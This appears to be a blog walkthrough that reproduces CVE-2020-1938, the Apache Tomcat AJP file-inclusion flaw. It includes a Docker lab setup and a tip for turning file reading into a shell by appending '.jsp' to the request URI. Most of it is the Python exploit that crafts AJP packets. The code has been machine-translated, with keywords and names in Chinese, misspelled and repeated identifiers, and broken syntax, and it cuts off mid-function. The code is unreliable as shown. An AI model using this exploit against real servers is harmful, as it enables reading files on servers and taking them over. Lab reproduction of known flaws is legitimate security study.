CVE-2020-1938 Apache Tomcat AJP 文件包含漏洞复现
漏洞复现
环境搭建
docker-compose.yml1
2
3
4
5
6
7
版本:'2'
服务:
TOMCAT:
Image: Vulhub/Tomcat:9.0.30
端口:
- '8080:8080'
- '8009:8009'
1
Docker -compose -d
POC
资料来源:https://github.com/nibiwodong/cnvd-2020-10487-tomcat-ajp-poc原始作者的PC只能读取文件。将原始作者的PC self.req_uri=req_uri更改为self.req_uri=req_uri +'.jsp'以包含该文件,从而弹跳了外壳。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
#!/usr/bin/env Python
导入结构
#一些参考文献:
#https://tomcat.apache.org/connectors-doc/ajp/ajpv13a.html
DEF PACK_STRING(S):
如果S不:
返回struct.pack('H',-1)
l=len(s)
返回struct.pack('H%DSB'%L,L,S.Encode('utf8'),0)
DEF拆卸(流,FMT):
size=struct.calcsize(FMT)
buf=stream.read(size)
返回struct.unpack(FMT,BUF)
def unvack_string(strapl):
尺寸,=解开包装(流,'H')
如果size==-1:#NULL String
没有返回
res,=解开包装(流,'%ds'%尺寸)
stream.read(1)#\ 0
返回res
类NotFoundException(异常):
经过
类AJPBodyRequest(对象):
#服务器==Web服务器,容器==Servlet
server_to_container,container_to_server=range(2)
max_request_length=8186
def __init __(self,data_stream,data_len,data_direction=none):
self.data_stream=data_stream
self.data_len=data_len
self.data_direction=data_direction
def serialize(self):
data=self.data_stream.read(ajpbodyrequest.max_request_length)
如果len(data)==0:
return struct.pack('bbh',0x12,0x34,0x00)
其他:
res=struct.pack('h',len(data))
res +=数据
如果self.data_direction==ajpbodyrequest.server_to_container:
header=struct.pack('bbh',0x12,0x34,len(res))
其他:
header=struct.pack('bbh',0x41,0x42,len(res))
返回标头+ res
def send_and_receive(self,套接字,流):
而true:
data=self.serialize()
套接字(数据)
r=ajpresponse.receive(stream)
while r.prefix_code!=ajpresponse.get_body_chunk和r.prefix_code!=ajpresponse.send_headers:
r=ajpresponse.receive(stream)
如果r.prefix_code==ajpresponse.send_headers或len(data)==4:
休息
类Ajpforwardrequest(对象):
_,选项,get,head,post,post,delete,trace,propfind,proppatch,mkcol,copy,mose,move,move,lock,lock,unclock,acl,report,destry_control,checkin,checkin,neckout,nceckout,nceckout,search,search,mkworkspace,mkworkspace,label,label,label,label,merge,merge,baseare_contrelol,baseare_control,mkactivity=range(28)(28)(28)
requess_methods={'get': get,'post': post,'head': head,'options':选项,'put': put,'delete': delete,'trace': trace}
#服务器==Web服务器,容器==Servlet
server_to_container,container_to_server=range(2)
common_headers=['sc_req_accept',
'sc_req_accept_chareet','sc_req_accept_encoding','sc_req_accept_language','sc_req_authorization','sc_req_accept_language','
'sc_req_connection','sc_req_content_type','sc_req_content_length','sc_req_cookie','sc_req_cookie2','sc_req_cookie','
'sc_req_host','sc_req_pragma','sc_req_referer','sc_req_user_agent'
这是给出的
attributes=['context','servlet_path','remote_user','auth_type','query_string','route','ssl_cert','ssl_cipher',ssl_session',ssl_session'
def __init __(self,data_direction=none):
self.prefix_code=0x02
self.method=无
self.protocol=无
self.req_uri=无
self.remote_addr=无
self.remote_host=无
self.server_name=无
self.server_port=无
self.is_ssl=无
self.num_headers=无
self.request_headers=无
self.attributes=无
self.data_direction=data_direction
def pack_headers(self):
self.num_headers=len(self.request_headers)
res=''
res=struct.pack('H',self.num_headers)
for h_name in self.request_headers:
如果h_name.startswith('sc_req'):
代码=ajpforwardrequest.common_headers.index(h_name) + 1
res +=struct.pack('bb',0xa0,代码)
其他:
res +=pack_string(h_name)
res +=pack_string(self.request_headers [h_name])
返回res
def pack_attributes(self):
res=b''
用于self.attributes:
a_name=attr ['name']
代码=ajpforwardrequest.attributes.index(a_name) + 1
res +=struct.pack('B',代码)
如果a_name=='req_attribute':
aa_name,a_value=attr ['value']
res +=pack_string(aa_name)
res +=pack_string(a_value)
其他:
res +=pack_string(attr ['value'])
res +=struct.pack('b',0xff)
返回res
def serialize(self):
res=''
res=struct.pack('bb',self.prefix_code,self.method)
res +=pack_string(self.protocol)
res +=pack_string(self.req_uri)
res +=pack_string(self.remote_addr)
res +=pack_string(self.remote_host)
res +=pack_string(self.server_name)
res +=struct.pack('H',self.server_port)
res +=struct.pack('?',self.is_ssl)
res +=self.pack_headers()
res +=self.pack_attributes()
如果self.data_direction==ajpforwardrequest.server_to_container:
header=struct.pack('bbh',0x12,0x34,len(res))
其他:
header=struct.pack('bbh',0x41,0x42,len(res))
返回标头+ res
DEF PARSE(self,raw_packet):
流=Stringio(RAW_PACKET)
self.magic1,self.magic2,data_len=untack(流,'bbh')
self.prefix_code,self.method=untack(流,'bb')
self.protocol=uncack_string(strap)
self.req_uri=uncack_string(strap)
self.remote_addr=uncack_string(流)
self.remote_host=uncack_string(流)
self.server_name=uncack_string(stream)
self.server_port=unfack(流,'h')
self.is_ssl=unvack(流,'?')
self.num_headers,=uncack(流,'h')
self.request_headers={}
对于我的范围(self.num_headers):
代码,=unckatek(流,'h')
如果代码0xA000:
h_name=ajpforwardrequest.common_headers [代码-0xa001]
其他:
h_name=unvack(流,'%ds'%代码)
stream.read(1)#\ 0
h_value=uncack_string(strap)
self.request_headers [h_name]=h_value
def send_and_receive(self,套接字,流,save_cookies=false):
res=[]
i=socket.sendall(self.serialize())
如果self.method==ajpforwardrequest.post:
返回res
r=ajpresponse.receive(stream)
assert r.prefix_code==ajpresponse.send_headers
res.append(r)
如果R.Response_headers:
self.headers ['sc_req_cookie']=r.Response_headers ['set-cookie']
#阅读身体块和最终响应数据包
而true:
r=ajpresponse.receive(stream)
res.append(r)
如果r.prefix_code==ajpresponse.end_response:
休息
elif r.prefix_code==ajpresponse.send_body_chunk:
继续
其他:
提出通知
休息
返回res
类ajpresponse(object):
,,_,send_body_chunk,send_headers,end_response,get_body_chunk=range(7)
common_send_headers=[
'content-type','content-language','content-Lengths',date','date','last-modified',
“位置”,“ set-cookie”,“ set-cookie2”,“ servlet-engine”,“ status','www-authenticate'
这是给出的
DEF PARSE(SELF,Stream):
#阅读标题
self.magic,self.data_length,self.prefix_code=uncack=uncack(流,'hhb')
如果self.prefix_code==ajpresponse.send_headers:
self.parse_send_headers(流)
elif self.prefix_code==ajpresponse.send_body_chunk:
self.parse_send_body_chunk(流)
elif self.prefix_code==ajpresponse.end_response:
self.parse_end_response(流)
elif self.prefix_code==ajpresponse.get_body_chunk:
self.parse_get_body_chunk(流)
其他:
提出通知
def parse_send_headers(self,stream):
self.http_status_code,=untack(流,'h')
self.http_status_msg=uncack_string(stream)
self.num_headers,=uncack(流,'h')
self.Response_headers={}
对于我的范围(self.num_headers):
代码,=unckatek(流,'h')
如果代码=0xA000:#自定义标头
h_name,=unvack(流,'%ds'%代码)
stream.read(1)#\ 0
h_value=uncack_string(strap)
其他:
h_name=ajpresponse.common_send_headers [code-0xa001]
h_value=uncack_string(strap)
self.Response_headers [h_name]=h_value
def parse_send_body_chunk(self,stream):
self.data_length,=unvack(流,'h')
self.data=stream.read(self.data_length+1)
def parse_end_response(self,stream):
自由。
def parse_get_body_chunk(self,stream):
rlen,=unwack(流,'h')
返回rlen
@StaticMethod
DEF接收(流):
r=ajpresponse()
R.Parse(流)
返回r
导入套接字
def preeg_ajp_forward_request(target_host,req_uri,method=ajpforwardrequest.get):
fr=ajpforwardrequest(ajpforwardrequest.server_to_container)
fr.Method=方法
fr.protocol='http/1.1'
fr.req_uri=req_uri
fr.remote_addr=target_host
fr.remote_host=无
fr.server_name=target_host
Fr.Server_port=80
fr.request_headers={
'sc_req_accept':'text/html',
'sc_req_connection':'keep-alive',
'sc_req_conten